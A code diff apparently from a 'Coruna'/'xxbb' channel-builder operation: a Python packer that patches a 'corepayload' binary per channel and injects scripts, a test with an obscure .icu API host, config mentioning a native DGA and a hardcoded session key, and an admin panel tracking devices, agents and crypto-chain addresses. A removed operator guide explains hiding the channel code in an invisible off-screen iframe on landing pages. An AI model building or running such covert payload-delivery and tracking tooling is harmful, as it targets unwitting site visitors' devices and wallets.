raise SystemExit(f"missing landing template: {src}")
dest = weifile_dir / "weifile.html"
dest.write_text(inject_tjs(src.read_text(encoding="utf-8")), encoding="utf-8")
return dest
def copy_details_tree(src: Path, dest: Path) -> None:
if dest.exists():
shutil.rmtree(dest)
skip = {"_bak", "__pycache__", ".DS_Store", "README.md"}
shutil.copytree(
src,
dest,
symlinks=False,
ignore=lambda _d, names: {n for n in names if n in skip or n.endswith(".pyc")},
)
def pack_channel( def pack_channel(
*, *,
channel_code: str, channel_ver: str,
weifile_src: Path, weifile_src: Path,
zip_out: Path, details_src: Path,
channel_out: Path,
landing_template: str = DEFAULT_LANDING_TEMPLATE,
) -> dict: ) -> dict:
code = xxbb_build.normalize_channel_code(channel_code) ver = normalize_channel_ver(channel_ver)
index_src = weifile_src / "index.js" landing_template = normalize_landing_template(landing_template)
if not index_src.is_file(): if not (weifile_src / "index.js").is_file():
raise SystemExit( raise SystemExit(f"staged weifile missing ({weifile_src / 'index.js'}). Run build.py --apply")
f"staged weifile missing ({index_src}). " if not (details_src / CORE_WIRE_NAME).is_file():
"Run: python tools/build.py --apply" raise SystemExit(f"details missing ({details_src / CORE_WIRE_NAME}). Run build.py --apply")
)
with tempfile.TemporaryDirectory() as tmp: with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp) / WEIFILE_ROOT root = Path(tmp) / "channel"
xxbb_build.copy_tree(weifile_src, dest) details_dest = root / DETAILS_ROOT
index_path = dest / "index.js" weifile_dest = root / WEIFILE_ROOT
copy_details_tree(details_src, details_dest)
xxbb_build.copy_tree(weifile_src, weifile_dest)
# Drop template sources from the published tree if build copied them.
templates_dir = weifile_dest / "templates"
if templates_dir.is_dir():
shutil.rmtree(templates_dir)
core_meta: dict
core_path = details_dest / CORE_WIRE_NAME
core_wire, core_meta = patch_corepayload_wire(core_path.read_bytes(), ver)
core_path.write_bytes(core_wire)
show_path = details_dest / SHOW_WIRE_NAME
show_path.write_bytes(
patch_show_wire(
show_path.read_bytes(),
ver=ver,
core_sha256=core_meta["sha256"],
core_size=core_meta["size"],
)
)
secondary_hits = patch_weifile_secondaries(weifile_dest, ver)
index_path = weifile_dest / "index.js"
index_path.write_text( index_path.write_text(
patch_channel_code(index_path.read_text(encoding="utf-8"), code), strip_iptj_beacon(index_path.read_text(encoding="utf-8")),
encoding="utf-8", encoding="utf-8",
) )
write_zip(dest, zip_out) apply_landing_template(weifile_dest, landing_template)
if channel_out.exists():
shutil.rmtree(channel_out)
channel_out.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(root, channel_out)
return { return {
"campaign": "xxbb", "campaign": "xxbb",
"builder_type": "new", "builder_type": "new",
"channel_code": code, "channel_ver": ver,
"zip_path": str(zip_out), "channel_id": ver,
"weifile_src": str(weifile_src), "channel_dir": str(channel_out),
"landing_path": f"/channel/{ver}/weifile/weifile.html",
"landing_template": landing_template,
"details_path": f"/channel/{ver}/details/",
"show_alias": SHOW_PATH_TMPL.format(ver=ver),
"core_sha256": core_meta["sha256"],
"core_ver_hits": core_meta["ver_hits"],
"core_show_path_hits": core_meta["show_path_hits"],
"secondary_show_patches": secondary_hits,
} }
def main() -> int: def main() -> int:
parser = argparse.ArgumentParser( parser = argparse.ArgumentParser(
description="Pack staged weifile into public/channel-source-new/{CHANNELID}.zip" description=f"Pack exclusive channel tree into public/channel/{{ver}}/ (ver like {ORIGINAL_VER})"
) )
parser.add_argument("--channel-code", required=True, help="8-char channel id (e.g. FAFA9988)")
parser.add_argument( parser.add_argument(
"--state-root", "--channel-ver",
required=True,
help="channel id / ver patch string, X.Y.ZZ alnum (e.g. 2.2.66 or A.B.C1)",
)
parser.add_argument("--state-root", type=Path, default=None)
parser.add_argument("--weifile-src", type=Path, default=None)
parser.add_argument(
"--details-src",
type=Path, type=Path,
default=None, default=None,
help=f"builder state (default: {xxbb_build.default_state_root()})", help="built details dir (default: <artifact-root>/details)",
) )
parser.add_argument( parser.add_argument(
"--weifile-src", "--channel-out",
type=Path,
default=None,
help="staged weifile directory (default: <state-root>/out/weifile)",
)
parser.add_argument(
"--zip-out",
type=Path, type=Path,
required=True, required=True,
help="output zip path", help="output directory e.g. public/channel/A.B.C1",
)
parser.add_argument(
"--landing-template",
default=DEFAULT_LANDING_TEMPLATE,
choices=LANDING_TEMPLATES,
help="weifile.html template: test=loading countdown, blank=empty (default: test)",
) )
args = parser.parse_args() args = parser.parse_args()
state_root = (args.state_root or xxbb_build.default_state_root()).resolve() state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
artifact_root = xxbb_build.default_artifact_root().resolve()
weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve() weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve()
zip_out = args.zip_out.resolve() details_src = (args.details_src or (artifact_root / DETAILS_ROOT)).resolve()
channel_out = args.channel_out.resolve()
result = pack_channel(channel_code=args.channel_code, weifile_src=weifile_src, zip_out=zip_out) result = pack_channel(
channel_ver=args.channel_ver,
weifile_src=weifile_src,
details_src=details_src,
channel_out=channel_out,
landing_template=args.landing_template,
)
seeds_path = state_root / LAB_SEEDS_NAME seeds_path = state_root / LAB_SEEDS_NAME
if seeds_path.is_file(): if seeds_path.is_file():
try: try:
@@ -132,7 +354,7 @@ def main() -> int:
except json.JSONDecodeError: except json.JSONDecodeError:
pass pass
print(f"packed {result['channel_code']} -> {zip_out}") print(f"packed {result['channel_ver']} -> {channel_out}")
print(RESULT_MARKER + json.dumps(result, separators=(",", ":"))) print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
return 0 return 0
+15 -34
View File
@@ -283,42 +283,23 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(len(second[2]), 32) self.assertEqual(len(second[2]), 32)
self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0]) self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0])
def test_pack_replaces_channel_placeholder(self) -> None: def test_pack_channel_ver_helpers(self) -> None:
import pack_channel import pack_channel
from zipfile import ZipFile
with tempfile.TemporaryDirectory() as tmp: self.assertEqual(pack_channel.normalize_channel_ver("3.1.07"), "3.1.07")
src = Path(tmp) / "weifile" self.assertEqual(pack_channel.normalize_channel_ver("a.b.c1"), "A.B.C1")
src.mkdir() with self.assertRaises(SystemExit):
(src / "index.js").write_text( pack_channel.normalize_channel_ver("FAFA9988")
'const V="CACACACA";const N="https://syv4c2c8nb8fpzo.icu/api";', path = pack_channel.SHOW_PATH_TMPL.format(ver="A.B.C1").encode()
encoding="utf-8", self.assertEqual(len(path), len(pack_channel.SHOW_PATH_OLD))
)
(src / "weifile.html").write_text( stripped = pack_channel.strip_iptj_beacon(
'<script type="text/javascript" src="index.js"></script>', 'head,function(){[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50]'
encoding="utf-8", 'whatever,__iptj_sid,channelCode},2e3)}();'
) )
(src / "extra.min.js").write_text("ok", encoding="utf-8") self.assertEqual(stripped, "head;")
zip_out = Path(tmp) / "channel-source-new" / "FAFA9988.zip" html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
result = pack_channel.pack_channel( self.assertIn('/t.js', html)
channel_code="fafa9988",
weifile_src=src,
zip_out=zip_out,
)
self.assertEqual(result["channel_code"], "FAFA9988")
self.assertTrue(zip_out.is_file())
self.assertIn("CACACACA", (src / "index.js").read_text(encoding="utf-8"))
with ZipFile(zip_out) as archive:
names = set(archive.namelist())
self.assertIn("weifile/index.js", names)
self.assertIn("weifile/weifile.html", names)
self.assertIn("weifile/extra.min.js", names)
index_js = archive.read("weifile/index.js").decode("utf-8")
html = archive.read("weifile/weifile.html").decode("utf-8")
self.assertIn('const V="FAFA9988"', index_js)
self.assertNotIn("CACACACA", index_js)
self.assertNotIn("__CHANNEL_C__", html)
self.assertNotIn("/t.js", html)
if __name__ == "__main__": if __name__ == "__main__":
-4
View File
@@ -18,8 +18,6 @@ return [
'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'), 'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'),
// Shared native DGA / report field `c`. Same for every new-builder channel. // Shared native DGA / report field `c`. Same for every new-builder channel.
'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))), 'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))),
// Match iptj PageVisit → device by IP within this window.
'visit_match_minutes' => (int) env('XXBB_VISIT_MATCH_MINUTES', 30),
], ],
'channel_domains' => $channelDomains, 'channel_domains' => $channelDomains,
'deployment_domains' => $channelDomains, 'deployment_domains' => $channelDomains,
@@ -50,8 +48,6 @@ return [
'CORUNA_CHANNEL_NEW_STATE_ROOT', 'CORUNA_CHANNEL_NEW_STATE_ROOT',
storage_path('app/channel-builder-new') storage_path('app/channel-builder-new')
), ),
// Per-channel weifile zip download root under artifact_root.
'source_dir' => 'channel-source-new',
], ],
'channels' => [ 'channels' => [
// Max channel links per agent user (0 = official is unlimited). Overridable via settings. // Max channel links per agent user (0 = official is unlimited). Overridable via settings.
+10 -2
View File
@@ -2,8 +2,16 @@
try { try {
var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i); var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i);
var channelId = m ? m[1].toLowerCase() : ''; var channelId = m ? m[1].toLowerCase() : '';
if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string' && /^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) { if (!channelId) {
channelId = window.__CORUNA_CHANNEL__.toLowerCase(); m = location.pathname.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
channelId = m ? m[1].toUpperCase() : '';
}
if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string') {
if (/^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) {
channelId = window.__CORUNA_CHANNEL__.toLowerCase();
} else if (/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test(window.__CORUNA_CHANNEL__)) {
channelId = window.__CORUNA_CHANNEL__.toUpperCase();
}
} }
if (!channelId) return; if (!channelId) return;
var KEY = 'c_uid'; var KEY = 'c_uid';
@@ -27,32 +27,14 @@
<div class="layui-card"> <div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-addr-search"> <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-addr-search">
<div class="layui-form-item"> <div class="layui-form-item">
<div class="layui-inline"> @include('admin.partials.filter_channel_select')
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">设备 ID</label> <label class="layui-form-label">设备 ID</label>
<div class="layui-input-block"> <div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off"> <input type="text" name="device_key" class="layui-input" autocomplete="off">
</div> </div>
</div> </div>
@if ($portal === 'admin') @include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">来源</label> <label class="layui-form-label">来源</label>
<div class="layui-input-block"> <div class="layui-input-block">
@@ -86,6 +68,8 @@ layui.use(['table', 'form', 'layer'], function () {
var token = @json(csrf_token()); var token = @json(csrf_token());
var updateBase = @json(url('/'.$portal.'/addresses')); var updateBase = @json(url('/'.$portal.'/addresses'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function chainTag(chain) { function chainTag(chain) {
var raw = String(chain || 'UNKNOWN'); var raw = String(chain || 'UNKNOWN');
var key = raw.toLowerCase().replace(/[^a-z0-9]+/g, ''); var key = raw.toLowerCase().replace(/[^a-z0-9]+/g, '');
+38 -86
View File
@@ -7,26 +7,8 @@
<div class="layui-card"> <div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ch-search"> <form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ch-search">
<div class="layui-form-item"> <div class="layui-form-item">
<div class="layui-inline"> @include('admin.partials.filter_channel_select')
<label class="layui-form-label">渠道 ID</label> @include('admin.partials.filter_agent_select')
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">状态</label> <label class="layui-form-label">状态</label>
<div class="layui-input-block"> <div class="layui-input-block">
@@ -48,13 +30,7 @@
<div class="layui-card-body"> <div class="layui-card-body">
<table id="LAY-ch-list" lay-filter="LAY-ch-list"></table> <table id="LAY-ch-list" lay-filter="LAY-ch-list"></table>
<script type="text/html" id="LAY-ch-ops"> <script type="text/html" id="LAY-ch-ops">
@{{# if(d.builder_type === 'new'){ }}
@{{# if(d.download_url){ }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="download">下载代码</a>
@{{# } }}
@{{# } else { }}
<a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a> <a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
@{{# } }}
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a> <a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
@{{# if(d._isAdmin){ }} @{{# if(d._isAdmin){ }}
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a> <a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
@@ -70,10 +46,21 @@ layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$; var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var portal = @json($portal); var portal = @json($portal);
var token = @json(csrf_token()); var token = @json(csrf_token());
var agents = @json(($agents ?? collect())->map(fn ($a) => ['id' => $a->id, 'username' => $a->username])->values()); var agents = @json(($agents ?? collect())->map(function ($a) {
$name = trim((string) $a->username);
$comment = trim((string) ($a->comment ?? ''));
return [
'id' => $a->id,
'username' => $name,
'label' => $comment !== '' ? $name.'/'.$comment : $name,
];
})->values());
var isAdmin = portal === 'admin'; var isAdmin = portal === 'admin';
var maxPerAgent = @json($maxPerAgent ?? 5); var maxPerAgent = @json($maxPerAgent ?? 5);
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
var cols = [ var cols = [
{ field: 'id', title: 'ID', width: 70, sort: true }, { field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'channel_id', title: '渠道 ID', minWidth: 220, sort: true }, { field: 'channel_id', title: '渠道 ID', minWidth: 220, sort: true },
@@ -92,7 +79,7 @@ layui.use(['table', 'form', 'layer'], function () {
: '<span style="color:#dc2626;font-weight:600;">禁用</span>'; : '<span style="color:#dc2626;font-weight:600;">禁用</span>';
}}, }},
{ field: 'updated_at', title: '更新', width: 170, sort: true }, { field: 'updated_at', title: '更新', width: 170, sort: true },
{ title: '操作', width: isAdmin ? 250 : 190, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' } { title: '操作', width: isAdmin ? 220 : 160, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
]); ]);
table.render({ table.render({
@@ -118,7 +105,7 @@ layui.use(['table', 'form', 'layer'], function () {
var sel = selected == null ? 0 : selected; var sel = selected == null ? 0 : selected;
var html = '<option value="0"' + (String(sel) === '0' ? ' selected' : '') + '>官方</option>'; var html = '<option value="0"' + (String(sel) === '0' ? ' selected' : '') + '>官方</option>';
agents.forEach(function (a) { agents.forEach(function (a) {
html += '<option value="' + a.id + '"' + (String(sel) === String(a.id) ? ' selected' : '') + '>' + a.username + '</option>'; html += '<option value="' + a.id + '"' + (String(sel) === String(a.id) ? ' selected' : '') + '>' + (a.label || a.username) + '</option>';
}); });
return html; return html;
} }
@@ -140,39 +127,6 @@ layui.use(['table', 'form', 'layer'], function () {
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>'; return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
} }
function weifileIframeSnippet() {
return '<iframe src="/weifile/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>';
}
function openDownloadGuide(row) {
var url = row && row.download_url;
if (!url) return layer.msg('安装包不存在');
var snippet = weifileIframeSnippet();
var html = '<div style="padding:18px 20px;line-height:1.75;font-size:13px;color:#334155;">' +
'<p style="margin:0 0 10px;">下载后按下面步骤放到自己的落地页项目中:</p>' +
'<p style="margin:0 0 8px;"><b>1.</b> 解压 zip,把得到的 <code>weifile/</code> 目录放到落地页网站根目录,保证能访问到 <code>/weifile/weifile.html</code>。</p>' +
'<p style="margin:0 0 14px;"><b>2.</b> 在自己的 HTML 里(建议放在 <code>&lt;body&gt;</code> 开头)加入一段不可见 iframe:</p>' +
'<pre style="background:#f8fafc;border:1px solid #e2e8f0;border-radius:6px;padding:10px 12px;overflow:auto;font-size:12px;margin:0 0 14px;white-space:pre-wrap;word-break:break-all;">' +
snippet.replace(/</g, '&lt;') + '</pre>' +
'<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;">' +
'<a class="layui-btn layui-btn-normal" href="' + url.replace(/"/g, '&quot;') + '">下载代码</a>' +
'<button type="button" class="layui-btn layui-btn-primary LAY-ch-copy-iframe">复制 iframe 代码</button>' +
'</div>' +
'<p style="margin:12px 0 0;color:#64748b;font-size:12px;">iframe 不可见,不影响落地页展示;用户打开落地页时会加载该渠道代码。</p>' +
'</div>';
layer.open({
type: 1,
title: '下载代码 — ' + (row.channel_id || ''),
area: ['640px', '430px'],
content: html,
success: function (layero) {
layero.find('.LAY-ch-copy-iframe').on('click', function () {
copyText(snippet).then(function () { layer.msg('已复制 iframe 代码'); });
});
}
});
}
function openLinks(row) { function openLinks(row) {
var links = row.links || []; var links = row.links || [];
if (!links.length) { if (!links.length) {
@@ -214,12 +168,9 @@ layui.use(['table', 'form', 'layer'], function () {
html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' + html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
(data.weifile_path || data.support_path).replace(/</g, '&lt;') + '</code></div>'; (data.weifile_path || data.support_path).replace(/</g, '&lt;') + '</code></div>';
} }
if (data.builder_type === 'new' && data.zip_path) { if (data.builder_type === 'new' && data.channel_dir) {
html += '<div style="margin-bottom:10px;"><b>安装包</b> <code>' + html += '<div style="margin-bottom:10px;"><b>资源目录</b> <code>' +
String(data.zip_path).replace(/</g, '&lt;') + '</code></div>'; String(data.channel_dir).replace(/</g, '&lt;') + '</code></div>';
if (data.download_url) {
html += '<div style="margin-bottom:10px;"><button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-dl-guide">下载代码</button></div>';
}
} }
if (links.length) { if (links.length) {
html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>'; html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
@@ -242,12 +193,7 @@ layui.use(['table', 'form', 'layer'], function () {
type: 1, type: 1,
title: '创建成功', title: '创建成功',
area: ['560px', '420px'], area: ['560px', '420px'],
content: html, content: html
success: function (layero) {
layero.find('.LAY-ch-dl-guide').on('click', function () {
openDownloadGuide({ channel_id: channelId, download_url: data.download_url });
});
}
}); });
} }
@@ -258,7 +204,7 @@ layui.use(['table', 'form', 'layer'], function () {
: ''; : '';
var channelBlock = creating var channelBlock = creating
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' + ? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 8 位">' + '<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 X.Y.ZZ">' +
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>' '<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>'; : '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
@@ -268,16 +214,16 @@ layui.use(['table', 'form', 'layer'], function () {
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' + '<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' + '<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
'</select>' + '</select>' +
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=8 位渠道码,打包已构建的 weifile(需先 php artisan xxbb:build)</div></div></div>' '<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=/channel/X.Y.ZZ/(创建时自动构建,c 取自 XXBB_CHANNEL_C)</div></div></div>'
: ''; : '';
var templateBlock = (isAdmin && creating) var templateBlock = (isAdmin && creating)
? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' + ? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
'<select name="support_template">' + '<select name="support_template">' +
'<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test(含 HUD 进度页)</option>' + '<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
'<option value="blank"' + (values.support_template === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' + '<option value="blank"' + (values.support_template === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
'</select>' + '</select>' +
'<div class="layui-form-mid layui-word-aux">控制生成的 support.html:test=HUD;blank=空白</div></div></div>' '<div class="layui-form-mid layui-word-aux" id="LAY-ch-template-hint">旧版=support.html;新版=weifile.html(test=loading,blank=空白)</div></div></div>'
: ''; : '';
layer.open({ layer.open({
@@ -298,13 +244,14 @@ layui.use(['table', 'form', 'layer'], function () {
function syncTemplateVisibility() { function syncTemplateVisibility() {
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old'; var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
var $id = $('#LAY-ch-id-input'); var $id = $('#LAY-ch-id-input');
$('#LAY-ch-template-item').show();
if (type === 'new') { if (type === 'new') {
$('#LAY-ch-template-item').hide(); $id.attr('maxlength', 6).attr('placeholder', '例如 A.B.C1 或 3.1.07');
$id.attr('maxlength', 8).attr('placeholder', '8位,例如 FAFA9988'); if (!/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test($id.val() || '')) $id.val('');
if (($id.val() || '').length !== 8) $id.val(''); $('#LAY-ch-template-hint').text('新版 weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页');
} else { } else {
$('#LAY-ch-template-item').show();
$id.attr('maxlength', 32).attr('placeholder', '32位字母数字'); $id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
$('#LAY-ch-template-hint').text('旧版 support.html:test=HUD;blank=空白');
} }
} }
syncTemplateVisibility(); syncTemplateVisibility();
@@ -332,6 +279,10 @@ layui.use(['table', 'form', 'layer'], function () {
layer.close(load); layer.close(load);
if (res.code !== 0) return layer.msg(res.msg || '失败'); if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index); layer.close(index);
if (window.CorunaFilterOptions) {
CorunaFilterOptions.bust();
CorunaFilterOptions.apply(form);
}
table.reload('LAY-ch-list'); table.reload('LAY-ch-list');
showCreateResult(res, data.channel_id); showCreateResult(res, data.channel_id);
}, },
@@ -352,6 +303,10 @@ layui.use(['table', 'form', 'layer'], function () {
success: function (res) { success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败'); if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index); layer.close(index);
if (window.CorunaFilterOptions) {
CorunaFilterOptions.bust();
CorunaFilterOptions.apply(form);
}
table.reload('LAY-ch-list'); table.reload('LAY-ch-list');
layer.msg('已保存'); layer.msg('已保存');
}, },
@@ -375,12 +330,9 @@ layui.use(['table', 'form', 'layer'], function () {
table.on('tool(LAY-ch-list)', function (obj) { table.on('tool(LAY-ch-list)', function (obj) {
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false); if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
if (obj.event === 'links') openLinks(obj.data); if (obj.event === 'links') openLinks(obj.data);
if (obj.event === 'download') {
openDownloadGuide(obj.data);
}
if (obj.event === 'del') { if (obj.event === 'del') {
var pathHint = obj.data.builder_type === 'new' var pathHint = obj.data.builder_type === 'new'
? ('数据库记录与 channel-source-new/' + obj.data.channel_id + '.zip') ? ('数据库记录与 channel/' + obj.data.channel_id + '/')
: ('数据库记录与 web/' + obj.data.channel_id + ' 资源'); : ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) { layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) {
$.ajax({ $.ajax({
+83
View File
@@ -36,6 +36,89 @@ layui.config({
}).extend({ }).extend({
index: 'lib/index' index: 'lib/index'
}).use(['index'], function(){}); }).use(['index'], function(){});
window.CorunaFilterOptions = (function () {
var portal = @json($portal ?? 'admin');
var channelsUrl = @json(route(($portal ?? 'admin').'.filterOptions.channels'));
var agentsUrl = portal === 'admin' ? @json(route('admin.filterOptions.agents')) : null;
var mem = { channels: null, agents: null, inflight: null };
var STORAGE_PREFIX = 'coruna_filter_opts_' + portal + '_';
var TTL_MS = 60 * 1000;
function readStore(key) {
try {
var raw = sessionStorage.getItem(STORAGE_PREFIX + key);
if (!raw) return null;
var parsed = JSON.parse(raw);
if (!parsed || !parsed.at || (Date.now() - parsed.at) > TTL_MS) return null;
return parsed.data;
} catch (e) { return null; }
}
function writeStore(key, data) {
try {
sessionStorage.setItem(STORAGE_PREFIX + key, JSON.stringify({ at: Date.now(), data: data }));
} catch (e) {}
}
function fillSelect(sel, rows, keepFirst) {
var $sel = window.layui && layui.$ ? layui.$(sel) : null;
if (!$sel || !$sel.length) return;
var keep = keepFirst || 1;
$sel.find('option').slice(keep).remove();
(rows || []).forEach(function (row) {
$sel.append(new Option(row.label, row.value));
});
}
function loadAll() {
if (mem.inflight) return mem.inflight;
var chCached = mem.channels || readStore('channels');
var agCached = agentsUrl ? (mem.agents || readStore('agents')) : [];
if (chCached && (!agentsUrl || agCached)) {
mem.channels = chCached;
mem.agents = agCached || [];
return layui.$.Deferred().resolve(mem).promise();
}
var $ = layui.$;
var reqs = [$.getJSON(channelsUrl)];
if (agentsUrl) reqs.push($.getJSON(agentsUrl));
mem.inflight = $.when.apply($, reqs).then(function () {
var args = arguments;
var chRes = reqs.length === 1 ? args[0] : args[0][0];
var agRes = reqs.length === 1 ? null : args[1][0];
mem.channels = (chRes && chRes.data) || [];
mem.agents = (agRes && agRes.data) || [];
writeStore('channels', mem.channels);
if (agentsUrl) writeStore('agents', mem.agents);
mem.inflight = null;
return mem;
}, function () {
mem.inflight = null;
return { channels: [], agents: [] };
});
return mem.inflight;
}
function apply(form) {
return loadAll().then(function (data) {
fillSelect('select[data-coruna-channels]', data.channels, 1);
fillSelect('select[data-coruna-agents]', data.agents, 2);
if (form && form.render) form.render('select');
});
}
function bust() {
mem.channels = null;
mem.agents = null;
try {
sessionStorage.removeItem(STORAGE_PREFIX + 'channels');
sessionStorage.removeItem(STORAGE_PREFIX + 'agents');
} catch (e) {}
}
return { apply: apply, bust: bust, loadAll: loadAll };
})();
</script> </script>
@stack('scripts') @stack('scripts')
</body> </body>
+159 -55
View File
@@ -5,10 +5,51 @@
@section('content') @section('content')
@php $portal = $portal ?? 'admin'; @endphp @php $portal = $portal ?? 'admin'; @endphp
<style> <style>
.dash-metric { font-size: 28px; line-height: 1.2; } .dash-grid { display: grid; gap: 12px; margin-bottom: 12px; }
.dash-grid-5 { grid-template-columns: repeat(5, minmax(0, 1fr)); }
.dash-grid-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
@media screen and (max-width: 992px) {
.dash-grid-5 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
.dash-grid-2 { grid-template-columns: 1fr; }
}
.dash-tile {
background: #fff;
border: 1px solid #f0f0f0;
border-radius: 2px;
min-height: 108px;
display: flex;
flex-direction: column;
}
.dash-tile-hd {
padding: 10px 14px 0;
font-size: 13px;
color: #666;
line-height: 1.4;
}
.dash-tile-bd {
padding: 8px 14px 12px;
flex: 1;
display: flex;
flex-direction: column;
justify-content: center;
}
.dash-metric { font-size: 26px; line-height: 1.25; color: #333; word-break: break-all; }
